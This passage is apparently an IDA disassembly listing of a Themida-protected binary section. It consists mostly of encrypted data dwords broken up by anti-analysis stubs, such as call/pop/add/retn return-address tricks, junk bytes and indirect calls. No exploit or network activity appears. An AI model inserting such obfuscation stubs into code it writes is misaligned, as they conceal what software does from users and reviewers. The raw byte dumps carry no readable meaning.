7225F553h, 43F3646Ah dd 0D338B9EBh, 0A8987E69h, 3443A8A0h, 0E4E3339Ch, 6660E044h dd 258E3B2Ch, 5B66F553h, 71E729B9h, 2166E73Ch, 90F4046Ah dd 0D7B8FF65h, 199501D3h, 4390AC9Fh, 0C8FD9A84h, 2166F554h dd 0A8C5B14Ch, 7E99AF44h, 2542B1E1h, 21ED00BFh, 65EF0D11h dd 0AA00F169h, 210CAD77h, 21651D04h, 7E46F5A9h, 5DEFAA17h dd 65E7F14Eh, 2171F111h, 7621F59Ah, 5C00378Eh, 34DB7E0Eh dd 0AA60E07Ch, 30D30A51h, 4B60E0FCh, 228EA46Ah, 166F535h dd 0A83F36C3h, 0A062D101h, 3B62D1E2h, 6066F553h, 0D81D36F8h dd 0BE909977h, 10DB7E77h, 0AC60E025h, 3914491Fh, 71669F4Bh dd 2166F64Eh, 0E23ED553h, 5227CF1h, 52274D0h, 2166EC6Eh dd 0E236B535h, 0F1FAD76Bh, 0AA00EF33h, 4BB60A54h, 228EA553h dd 166F5A9h, 0A83E368Ch, 0A062D12Eh, 3662D171h, 6166F59Ah dd 5A67361Dh, 0A4EF5A42h, 2773E626h, 0E7A942A6h, 346F3051h dd 210CB26Ch, 21651D64h, 7846F59Ah, 6DEFAC8Eh, 65E7F182h dd 217CF177h, 7027F5A9h, 43612717h, 976C4D23h, 203B60BCh dd 258EF38Fh, 7C66F54Dh, 0C8CC389Ah, 2166F55Bh, 8B7951BDh dd 4CDC20B2h, 0EBED933Ah, 2542B1BEh, 7F37F511h, 2542B1C4h dd 77669FFEh, 2166F6BBh, 0E238D5A9h, 5127C8Ah, 522746Eh dd 2166E331h, 0E230B39Ah, 47D4BDA9h, 0DE89B91Fh, 344EE4E6h dd 0B8FBFCAFh, 0AC60E0F0h, 391449EFh, 70669F33h, 2166F672h dd 0E23FD54Dh, 52A7CFFh, 5227457h, 2166EDADh, 0E237B4D4h dd 35C7B119h, 21691C47h, 8AB1F59Ah, 0C90C5C5Ch, 0AC3AB321h dd 8577D98Fh, 4BB60A93h, 228EA4D4h, 166F56Ah, 0A83F366Ch dd 0A062D1D6h, 3C62D109h, 6066F5A6h, 0B13A3602h, 0A103547Eh dd 875677D4h, 0A80317EAh, 347ED0B0h, 77669F9Ch, 2166F6A5h dd 0E238D5A6h, 5127C0Dh, 52274ADh, 2166E1D0h, 0E230B36Ah dd 0F1990C0Bh, 0C933F5F0h, 2166F54Eh, 7CA5A886h, 254299DAh dd 2542B128h, 2166F5CEh, 4EA5A02Fh, 0F16FC0C0h, 298FD5BFh dd 7566F54Dh, 11A2C7F9h, 0A8B4E0FBh, 346AB02Ch, 71669FD2h dd 2166F682h, 0E23ED535h, 5227CC2h, 5227449h, 2166EEA2h dd 0E236B553h, 2AA9FA90h, 0A229E0FBh, 2166F882h db 35h byte_5B6219 db 0D1h, 86h, 0Dh ; DATA XREF: Themida_:0057AEE8o dd 0D5D582CFh, 30D94A60h, 7E9E7E73h, 21631C33h, 0BF2FF5A9h dd 0A8681088h, 34724CD7h, 0AD009433h, 20F37E42h, 560E04Ah dd 70669FA2h, 2166F6BBh, 0E23FD5A9h, 52A7C8Dh, 522746Eh dd 2166E031h, 0E237B49Ah, 2F8F80E6h, 1666F5A6h, 0F102459Dh dd 0DFF8EE5Fh, 8C9C987Ah, 0E16C0D8Dh, 2244713Ah, 0AC57F59Ah dd 2773D3A0h, 31EF482Dh, 0A4A0F346h, 2773FC6Ch, 74669F9Bh dd 2166F682h, 0E23BD535h, 50A7CC7h, 5227449h, 2166E3A2h dd 0E233B053h, 0D9C565C1h, 0BAC1C0BCh, 21691CDFh, 8D85F535h dd 737F6403h, 75A8060Fh, 4D4104BEh, 56274C9h, 28823026h dd 0A2036C6Eh, 30D30A4Fh, 0A160E01Dh, 0A4EB055Bh, 277E87F1h dd 0C930F5CCh, 2166F550h, 7FA5AB89h, 2542815Dh, 2542B1EBh dd 2166F52Ch, 92A5A3DCh, 98E506Bh, 4185474Dh, 390768D8h dd 9669F3BCh, 0F199941Ch, 0C934F500h, 2166F536h, 7BA5AFBAh dd 2542A1C4h, 2542B127h, 2166F549h, 0AFA5A7EBh, 0B3CC664Dh dd 0AC676C36h, 2773DF0Ch, 22423519h, 3448F4D8h, 8CE37CA0h dd 4B60E05Eh, 228EA3A9h, 166F5D4h, 0A8383634h, 0A062D141h dd 3762D1DEh, 6766F54Dh, 34D436F0h, 0F4F37CA7h, 0A860E0ACh dd 34446451h, 64E37E6Ch, 7060E039h, 21657F95h, 0AA00F54Dh dd 0BCEDAC56h, 2773ED76h, 0C937F5C3h, 2166F5D7h, 78A5AC4Ah dd 2542B9BCh, 2542B11Bh, 2166F551h, 0EA5A4E7h, 1CB27245h dd 459D3E8Ch, 216072DBh, 0B4EDF56Ah, 2773F854h, 0DAED93D9h dd 0D906EEC6h, 3FEF482Fh, 0AA07F346h, 28FBC4B2h, 0AA60E0F3h dd 76669F71h, 2166F6DDh, 0E239D59Ah, 51A7C12h, 52274A2h dd 2166E057h, 0E231B2A9h, 129F035Fh, 9C6D0CB2h, 2773DD78h dd 38D36813h, 210CF358h, 21651DF3h, 7C46F553h, 4DEFA86Ah dd 65E7F1F0h, 217CF14Eh, 7423F535h, 792E2F59h, 0E5BE4251h dd 0C8A87EC0h, 2166F559h, 0C3CD8736h, 1ED010C0h, 0A4A0111Ah dd 2773FCF0h, 74669FDDh, 2166F6A5h, 0E23BD5A6h, 50A7C0Eh dd 52274ADh, 2166ECD0h, 0E233B06Ah, 872AD224h, 9669FA24h dd 15159D83h, 62DC264Eh, 0A06CF99Eh, 0C8BCD19Dh, 9CEF91E2h dd 2773ED67h, 97740CAh, 210CF38Fh, 21651D1Dh, 7946F5A6h dd 65EFAD90h, 65E7F18Dh, 217DF1F0h, 7126F56Ah, 0E14345F6h dd 0C5A66D31h, 0B2D74A9Fh, 0F8E7DAA9h, 7B67914h, 53DA7024h dd 210CF3CCh, 21651D38h, 7B46F535h, 75EFAF59h, 65E7F169h dd 2172F182h, 7324F553h, 0D2EC986Ah, 210C252Bh, 21651D3Dh dd 7E46F535h, 5DEFAA59h, 65E7F169h, 2170F182h, 7621F553h dd 2108356Ah, 3533705Dh, 210CF37Fh, 21651D62h, 7E46F59Ah dd 5DEFAA8Eh, 65E7F182h, 217EF177h, 7621F5A9h, 0FE6E7D17h dd 4B26357Eh, 228EA335h, 166F59Ah, 0A8383613h, 0A062D1D2h dd 3B62D117h, 6766F5A9h, 0FBA33682h, 0F211002Bh, 0AA667E95h dd 347B340Fh, 4B667E4Bh, 228EA7A6h, 166F553h, 0A83C36F3h dd 0A062D180h, 3C62D12Eh, 6366F535h, 0A5C836C8h, 0A63D2358h dd 0B137CCE5h, 3C8770DAh, 210CF3BCh, 21651D87h, 7A46F56Ah dd 7DEFAEF6h, 65E7F1BEh, 217FF169h, 7225F5A6h, 7DA89E90h dd 0AA09D15Ch, 34481441h, 219E1C6Ch, 0A969F535h, 2166F59Ah dd 9ED570C0h, 0B4EDF3BEh, 2773C13Eh, 74348A0h, 9836F3C1h dd 71B2BFD5h, 4142F1BCh, 0A89C7EFCh, 346764F8h, 0B49994A0h dd 2773F286h, 0C936F5C3h, 2166F5D7h, 79A5AD4Ah, 2542B1BCh dd 2542B11Bh, 2166F55Bh, 79A5A5E6h, 0A0694E7Bh, 2166F5AFh dd 2003405Dh, 0AC93F37Fh, 39D94CA8h, 77669F9Ch, 2166F6A5h dd 0E238D5A6h, 5127C0Dh, 52274ADh, 2166ECD0h, 0E230B36Ah dd 0A4C27F74h, 0D0E6997Bh, 0D8ED66FCh, 21741CF6h, 86B8F553h dd 36E16A89h, 0EF11AFCCh, 0FD7AFA9Ah, 0CA854218h, 25EFA509h dd 76669F69h, 2166F64Eh, 0E239D553h, 51A7CF6h, 52274D0h dd 2166E06Eh, 0E231B235h, 0AA341C3Ch, 0B499ABBEh, 2773FBBBh dd 60023CEDh, 8CE37C83h, 4B60E0D9h, 228EA56Ah, 166F535h dd 0A83E36C2h, 0A062D109h, 3662D1E2h, 6166F553h, 0EBAF36F9h dd 0A4A08187h, 2773FCAFh, 72669F66h, 2166F672h, 0E23DD54Dh dd 53A7CFDh, 5227457h, 2166EEADh, 0E235B6D4h, 1BD2D625h dd 571B09CDh, 4D4A4AFCh, 0AA0E24C6h, 70E92310h, 7B9D7E35h dd 0D542C128h, 4B43A4E6h, 228EA26Ah, 166F535h, 0A83936C5h dd 0A062D131h, 3862D1E2h, 6666F553h, 31B136FEh, 950E9FFDh dd 21637F65h, 86D9F535h, 0DE50F8F1h, 344EE4F8h, 73669FA0h dd 2166F6BBh, 0E23CD5A9h, 5327C8Eh, 522746Eh, 2166E931h dd 0E234B79Ah, 8C92C680h, 13CD5757h, 27ECFA6Bh, 0AA66F5A9h dd 3463A059h, 4F37E6Ch, 2260E028h, 34768427h, 9DE3784Bh dd 4B60EDD4h, 228EA553h, 166F5A9h, 0A83E368Ch, 0A062D12Eh dd 3B62D171h, 6166F59Ah, 0D0BA361Dh, 0F3F7C565h, 8EB7CABh dd 0DE60E0ADh, 74669F04h, 2166F682h, 0E23BD535h, 50A7CC7h dd 5227449h, 2166EDA2h, 0E233B053h, 0D1FAB7ECh, 6CE37CD9h dd 4B60E077h, 228EA435h, 166F59Ah, 0A83F3614h, 0A062D1EAh dd 3862D117h, 6066F5A9h, 25743685h, 2074C3A5h, 341378BCh dd 0F1EDF38Fh, 28A3708Bh, 9B21F3B3h, 6A5550FCh, 2166F141h dd 537365D4h, 0C19C4FCBh, 0C836EDCDh, 2166F592h, 8B5CEB50h dd 0F987CC15h, 2542B1D8h, 21761CC9h, 4E26F5D4h, 99465F63h dd 3FB8D71Eh, 1E5EC32Fh, 0F2DED98Fh, 401C0CC6h, 0AA06F5D8h dd 0DCDF936Fh, 65EF9440h, 0EFEDF14Eh, 54DBFE6Dh, 0DE60E08Ah dd 344EE4F8h, 21751CA0h, 2AD4F553h, 0B6440FC9h, 7FF4798Eh dd 0ED10BCD2h, 0E94C03A4h, 23EFFA41h, 9766F54Dh, 9DE37831h dd 4B60ED21h, 228EA2A9h, 166F5D4h, 0A8393635h, 0A062D149h dd 3962D1DEh, 6666F54Dh, 0CD0536F1h, 0C92274D3h, 2166F5B8h dd 5091B9D2h, 5869E650h, 0C7B7A06Bh, 57D16FAAh, 0A8D3DE7Fh dd 7F60E0A0h, 210C25ACh, 21651DFBh, 7B46F5D4h, 75EFAFA9h dd 65E7F111h, 217EF1BEh, 7324F54Dh, 949C5065h, 0AC4F9939h dd 2773DD24h, 2166FF3Ch, 6D59976Ah, 0BC65076Bh, 2E9342B5h dd 2166F9C6h, 21611CA6h, 4E17F553h, 0B3959359h, 0C9ECAABFh dd 27C770E3h, 210CF320h, 21651DCCh, 7F46F54Dh, 55EFAB65h dd 65E7F177h, 217DF18Dh, 7720F5D4h, 0AFB827A9h, 0EA495474h dd 0ACE37C1Fh, 0E760E049h, 346F3023h, 210CA655h, 21651DF9h dd 7946F5D4h, 65EFADA9h, 65E7F111h, 2172F1BEh, 7126F54Dh dd 0AD69A565h, 2166F559h, 2166F040h, 2010C1D4h, 0BC4F4F3Ah dd 2773E810h, 2166F172h, 1839654Dh, 79DC933Fh, 7336A505h dd 7E1247FFh, 338FC4DBh, 9166F56Ah, 10590828h, 0AA02A70h dd 0DB1FC66Dh, 851BBFB7h, 0AA3EAF75h, 0C962D1EDh, 2166F5C6h dd 0A25D7BD2h, 862CD690h, 6C5AEFF6h, 0FBF2F269h, 0AA3C6FBCh dd 5227C53h, 733695ADh, 8AD54D6Ah, 4757FA47h, 7BBB178Dh dd 40BC7EC2h, 77669F15h, 2166F64Eh, 0E238D553h, 5127CF7h dd 52274D0h, 2166EC6Eh, 0E230B335h, 4A00ED89h, 0CFDCC9E4h dd 9403B5ECh, 30D30A6Ah, 4B60E081h, 228EA3D4h, 166F56Ah dd 0A838366Bh, 0A062D1EEh, 3D62D109h, 6766F5A6h, 0A8C23605h dd 393E71BAh, 0A8F6D2A1h, 344C8CE7h, 9DE37833h, 4760EDE8h dd 0DE9A8FF7h, 73669F76h, 2166F6BBh, 0E23CD5A9h, 5327C8Eh dd 522746Eh, 2166E331h dd 0E234B79Ah, 0AAC31E59h, 3466A82Bh, 60E37C55h, 9B60E081h dd 5C1DEBC6h, 23AF70E3h, 0AA00F320h, 0E4E33369h, 7660E044h dd 7B93A3F5h, 216D1D0Dh, 7EBAF5A9h, 0EFE29C1Eh, 0D5910C8Dh dd 4B0EAF24h, 47B63722h, 0A06CA6F3h, 0CB0AD192h, 0DD36B595h dd 54D37EF7h, 0DE60E0FBh, 344EE4DFh, 27ECFA33h, 0A066F59Ah dd 0FFBE888Ah, 0D4EB7CAFh, 0AC60E054h, 3914492Ch, 4BB60AD2h dd 228EA76Ah, 166F535h, 0A83C36C0h, 0A062D119h, 3462D1E2h dd 6366F553h, 2EF036FBh, 0A8B74ADBh, 346E48EFh, 0E4E33333h dd 6260E093h, 0C931F527h, 2166F5A5h, 7EA5AA73h, 25428920h dd 2542B155h, 2166F57Fh, 50A5A272h, 4CEBDC18h, 0C960E079h dd 2166F5A2h, 9DF6857Bh, 1AE24BCFh, 37ECFA84h, 4166F56Ah dd 2166FDDDh, 327F359Ah, 608E2159h, 0A369ABDDh, 2166F553h dd 5227EC8h, 0D8ED93D0h, 0D6EDF5E1h, 2542B1BCh, 2166FF72h dd 9B809E4Dh, 3D59C7B6h, 472BA47Fh, 781B3413h, 76669F8Ch dd 2166F682h, 0E239D535h, 51A7CC5h, 5227449h, 2166ECA2h dd 0E231B253h, 93259F5Bh, 0AE6957BAh, 2166F56Ch, 300360BEh dd 9499F38Fh, 2773DD5Ch, 0C935F5CCh, 2166F550h, 7AA5AE89h dd 2542A95Dh, 2542B1EBh, 2166F528h, 3EA5A6D9h, 0AC87C12Ch dd 5E9E26A9h, 0E0EBDC68h, 0AC60E085h, 39144951h, 71669F6Ch dd 2166F6DDh, 0E23ED59Ah, 5227C15h, 52274A2h, 2166E157h dd 0E236B5A9h, 0D0D37EAAh, 0DE60E077h, 0F3D1FAE5h, 2ACF6013h dd 0A4EFF358h, 2773C63Bh, 0C931F539h, 2166F5AAh, 7EA5AAF4h dd 254289E3h, 2542B1B4h, 2166F58Fh, 60A5A20Ah, 60F37E38h dd 4760E074h, 0AC629817h, 39D95C51h, 73669F6Ch, 2166F6DDh dd 0E23CD59Ah, 5327C17h, 52274A2h, 2166E957h, 0E234B7A9h dd 0C813A7FEh, 562530A5h, 0B6A17474h, 0B16C0D84h, 9B00A71Dh dd 10692562h, 0B56B3EE9h, 713EAFA7h, 73669F44h, 2166F682h dd 0E23CD535h, 5327CC0h, 5227449h, 2166EDA2h, 0E234B753h dd 85B6F787h, 0F4F30A1Fh, 4760E06Dh, 97FB1CB4h, 0AA002D11h dd 0BCE378B7h, 4B60ED19h, 228EA053h, 166F5A9h, 0A83B3689h dd 0A062D106h, 3A62D171h, 6466F59Ah, 0F62C3618h, 0D0CF63FDh dd 47361735h, 25EF0622h, 71669FF0h, 2166F682h, 0E23ED535h dd 5227CC2h, 5227449h, 2166E8A2h, 0E236B553h, 0E51DD41Eh dd 0A3C71F4Fh, 0D6E7CE2Dh, 683335C7h, 2166E473h, 0CCADC24Dh dd 67205420h, 0E60EE6BEh, 0C10FBB06h, 983658EFh, 70900C2Ah dd 4142E9BCh, 64B874FCh, 0A4EBFC88h, 4060E0BBh, 2F7B60ACh dd 210CF3BCh, 21651D83h, 7E46F56Ah, 5DEFAAF6h, 65E7F1BEh dd 217FF169h, 7621F5A6h, 67A1AC90h, 0AA3F6135h, 80E37C23h dd 4760E072h, 0E6ED928Ah, 346E581Fh, 2166FA4Bh, 77669FA6h dd 2166F6BBh, 0E238D5A9h, 5127C8Ah, 522746Eh, 2166E131h dd 0E230B39Ah, 0DE9D7E46h, 347E5433h, 0DB7C55h, 0A860E0A3h dd 34417051h, 58EB7C6Ch, 0AA60E01Ch, 344C041Fh, 57FB784Bh dd 0A860ED75h, 9CEBF410h, 2773E454h, 0F2364059h, 12DFF372h dd 0D266F535h, 99551E3Eh, 2166F54Dh, 221235ADh, 0AA66ED91h dd 726AD1EDh, 2166F53Ch, 0E2E7AE6Ah, 2166F522h, 3142A913h dd 3542B1C4h, 0DB514DFDh, 0C199F5E2h, 2542B122h, 210C152Bh dd 21651D3Dh, 7E46F535h, 5DEFAA59h, 65E7F169h, 217AF182h dd 7621F553h, 2936EA6Ah, 0B597F2E3h, 210CA676h, 21651D66h dd 7A46F59Ah, 7DEFAE8Eh, 65E7F182h, 217DF177h, 7225F5A9h dd 57852117h, 0A92A449Ch, 30F37E17h, 4060E092h, 220F787Ch dd 9CEBF3B3h, 277E4ACEh, 0F2957824h, 14DEF3CCh, 12FED3C1h dd 3472D8B0h, 0E0A9DE9Ch, 36E1ED95h, 8F2C6B40h, 0B89CE5F3h dd 0A62773FDh, 0EEA26F80h, 0AF346558h, 0E98312F5h, 8BA4F305h dd 51006AD9h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h dd 0C3514100h, 9CC0A080h, 9BCA810Eh, 0B53195A0h, 6151D11h dd 76E9h, 0AE900h, 0C6F60000h, 2BBB374Ch, 7CBB0A47h, 1860Fh dd 61FC0000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 0AAC35242h, 0B05E9A11h, 60F8E4D4h, 68D0Fh, 890F0000h dd 0 ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- push 0 push ebp call sub_5B6EC5 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6EC5 proc near ; CODE XREF: Themida_:005B6EBDp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 14h inc ebp push ebp retn sub_5B6EC5 endp ; --------------------------------------------------------------------------- db 87h, 0E9h, 0Ch dd 6000000h, 1B0F4575h, 63FA0301h, 8BD03E0Eh, 53006AC0h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 2891C685h, 0CE9F560h, 0B8000000h, 37556C58h, 8581234Ah dd 61C691BCh, 8F5BD83h, 75000615h, 0ADBD8309h, 61503h dd 53501974h, 0B9B8C08Bh, 89000004h, 1502A185h, 59D8D06h dd 0FF0617ABh, 83585BD3h, 1503ADBDh, 17740006h, 0B9B85350h dd 89000004h, 1502A185h, 0A69D8D06h, 0FF0617A7h, 6A585BD3h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0D640C352h, 2F53D318h, 6A2FFD8Dh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 0A560C352h, 0CE922h, 827B0000h, 0CE7F25A9h, 0FC178BE8h dd 0C08BBF12h, 158A0Fh, 10E90000h, 8D000000h, 51D9A591h dd 1BCA01B0h, 0B498EF72h, 0FAC0999h, 689h, 0BA666000h dd 40613729h, 5160C18Bh, 60585950h, 22918D89h, 0FE80615h dd 31000000h, 0B36461EFh, 56630233h, 3CCA78FAh, 6158E29Dh dd 919D8961h, 0EB061530h, 4, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1B04h, 0C3504000h, 92707DFEh dd 92347CFAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0A7C35242h, 660DFDCBh, 668E85BEh, 858DFA8Bh, 615279Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 17C35545h dd 621C75h, 0CB344314h, 50F28B66h, 0FE96052h, 0F6000000h dd 0F96E6BADh, 0EBBC7758h, 292BF56Dh, 9E99CA3h, 52000000h dd 0B7E0957Fh, 3D9EF83Ch, 4895F61h, 51006A24h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0E860D041h dd 9, 934D45C3h, 0B0A0D01Eh, 895EF526h, 1502718Dh, 0BD8B6106h dd 6150225h, 6AF8006Ah, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0FE0A7005h, 0B998DA62h dd 59952939h, 8B061527h, 152DDDBDh, 2F858D06h, 290618D8h dd 150255B5h, 5C08306h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 0A3C35545h, 0A5382C95h, 151110Ah, 150AA995h dd 0E9505E06h, 6, 0D2B097Eh, 4896F10h, 65B58B24h, 6A061517h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 9E4A08ADh, 6AF0BF0Fh, 52006A00h ; --------------------------------------------------------------------------- loc_5B719C: ; DATA XREF: Themida_:0057C558o ; Themida_:0057CA2Co call sub_5B71A4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B71A4 proc near ; CODE XREF: Themida_:loc_5B719Cp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 14h inc edx push edx retn sub_5B71A4 endp ; --------------------------------------------------------------------------- wait jmp loc_5B71BF ; --------------------------------------------------------------------------- dw 35ADh db 31h, 0, 0Dh ; --------------------------------------------------------------------------- loc_5B71BF: ; CODE XREF: Themida_:005B71B5j mov [ebp+6152FA1h], ebx call dword ptr [ebp+6152679h] add di, 0E10Ch lea ebx, [ebp+6189C15h] jmp loc_5B71E1 ; --------------------------------------------------------------------------- db 9Fh dd 434371DEh db 15h ; --------------------------------------------------------------------------- loc_5B71E1: ; CODE XREF: Themida_:005B71D6j call ebx ; _iob push 0 push ebp call sub_5B71EE and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B71EE proc near ; CODE XREF: Themida_:005B71E6p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Dh inc ebp push ebp retn sub_5B71EE endp ; --------------------------------------------------------------------------- dw 889Fh dd 0FE256E1Fh, 0F3C6F7EBh, 13E9h, 5999A400h, 0BEE58CA3h dd 17698F4Ch, 1F16B7BAh, 22A18A2Ch, 211BD8Bh, 85FF0615h dd 6151535h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 47C35545h, 0E9803EBEh, 0Eh, 0B471A916h, 0F0AAF980h dd 0DCBD436Bh, 0AAE961FCh, 0E8000007h, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 618D839h push 0 push edi call sub_5B727A and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B727A proc near ; CODE XREF: Themida_:005B7272p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5B727A endp ; --------------------------------------------------------------------------- dw 0DC0Ch dd 0FCB08FBDh, 8ADBD81h, 7D00615h, 860F0000h, 13Ah, 3F1BD03h dd 9D8B0615h, 6152871h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 15h, 6FC35242h, 0E381A2h, 6A000001h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 201DC352h, 0AE793F75h, 0DB0BF2B6h, 96850Fh, 8D890000h dd 6152F81h, 0D5E2BD83h, 0F000618h, 1F84h, 0F6BF0F00h dd 0AEE9h, 0CE96000h, 1000000h, 70463397h, 0A7BE8EC5h dd 66CD1DC0h, 616102BEh, 0D5E285C7h, 10618h, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 7E837C3h, 1C000000h, 61541D51h, 5FF53F63h, 5EE9h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h dd 5D28EAF0h, 5E927DEh, 0C2000000h, 0D831FDE7h, 0D5E285C7h dd 618h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 0A0CEA7C3h, 9589FD0Eh, 6150CC5h dd 8DF18B66h, 1528719Dh, 0D1DABE06h, 23817F5Eh, 0FFFFFEFFh dd 33C5BD8Bh, 8C660615h, 51006ADBh, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 5D5C7659h, 0F4FE446Ah dd 0E1B58B8Eh, 0F6061501h, 840F04C3h, 58h, 95FFF18Bh, 61518A1h dd 6919D29h, 0E8900615h, 10h, 419464A4h, 0CB95C06Fh, 0ECF67B0Bh dd 38971045h, 3AD5BE66h, 6050505Eh, 595729B1h, 6A905E61h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 17042444h dd 45000000h, 42F2C355h, 8D898C53h, 6152D91h, 496E9h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h dd 36197D71h, 8B22C6F4h, 151051BDh, 0DF816606h, 0B01B64h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 5CC35040h dd 9E99483h, 52000000h, 0B8B7C3Fh, 67489FBBh, 13E9h, 78061000h dd 0A41EBF46h, 0D268BC9h, 0B13ED15Dh, 184FA404h, 6A70E6h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 64B6C8C3h, 335E2F8Eh, 0DDB5895Fh, 0E4061526h, 57006A71h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 75BD0992h, 8B061524h, 152E4DB5h, 0D8B60F06h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0BC35040h, 2AF58D01h dd 6BA0615h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0CDD3C352h, 0A1858972h dd 0F06150Ah, 685h, 6DB58B00h, 8B061529h, 53006AC3h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 0B6D78198h, 0C1210240h, 11E904E8h, 0AA000000h, 0F83E6605h dd 0C20D1D80h, 0B07645E2h, 581A33Ch, 66E2F766h, 0B87FF681h dd 6AD82Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 840794C3h, 6650F5DCh, 1C89FA8Bh, 52006A24h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 0ADB5FFEBh, 6A061508h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 14042444h, 41000000h, 0FF8AC351h, 152E2195h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 15117FEEh, 691BD8Bh, 0BD8B0615h, 6150C5Dh dd 70E600B0h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0FAC35646h, 9E9699Ah, 5D000000h, 0C03512C2h, 0E672F01Bh dd 1545B58Bh, 71E40615h, 9850Fh, 800F0000h, 3, 3CF38B66h dd 48830F61h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 4363C355h, 0BD71D075h dd 0DE9h, 0A8E50E00h, 51C459F0h, 0D71F07F5h, 0B60FE656h dd 0F6BF0FD8h, 0CBEE8166h, 6BA41h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 514899C3h dd 0C4436431h, 66C38B23h, 0E8C1F88Bh, 0D0BFBE04h, 0F7664BACh dd 15BD89E2h, 2B061505h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 9E51DF6Bh, 0BF7F7AD4h dd 63D70268h, 899BD8Bh, 8B580615h, 1514D9BDh, 35858906h dd 2B061524h, 88880FD8h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7294C355h dd 0C2063A82h, 79DE17EDh, 0D3D7E681h, 7B9273Dh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 9048C350h, 72581C3h, 68B0F4Fh, 8B000000h dd 150BA1BDh, 0C18306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 9AC35343h, 0C66F1704h, 2B5348BBh, 15078DB5h dd 0FD93B06h, 0F686h, 0BD0B5000h, 6152119h, 0D1BD8B5Fh dd 66061507h, 0C1F6D98Ch, 0B1840F04h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0D51BC355h, 0B824F01Dh, 18A195FFh, 6A0615h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0C00A6AC3h, 0E9BFC366h, 6, 0EA6BC9C4h, 6A5B0491h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0A953C356h, 0DB5CF494h, 72AF3B2Ah, 0BD8BC32Bh, 61517F9h dd 8343Dh, 25860F00h, 0F000000h, 585h, 7A40BF00h, 40E93479h dd 66000000h, 0E1FBDE81h, 0BE9h, 8A2C1F00h, 6EAC22A1h dd 905287B4h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B9852C3h, 150A79BDh, 6D9D8906h dd 8B06151Eh, 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 5EE3C352h, 2E53E41Fh dd 9EBF6639h, 9D85C738h, 77061507h, 6A750BC3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 9BF7C357h, 0FD0041DFh, 8BD84F64h, 1533FDBDh, 0E9C08B06h dd 6, 93297BF4h, 0BD81A47Ah, 61508ADh, 7D0h, 32850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 8AC945C3h, 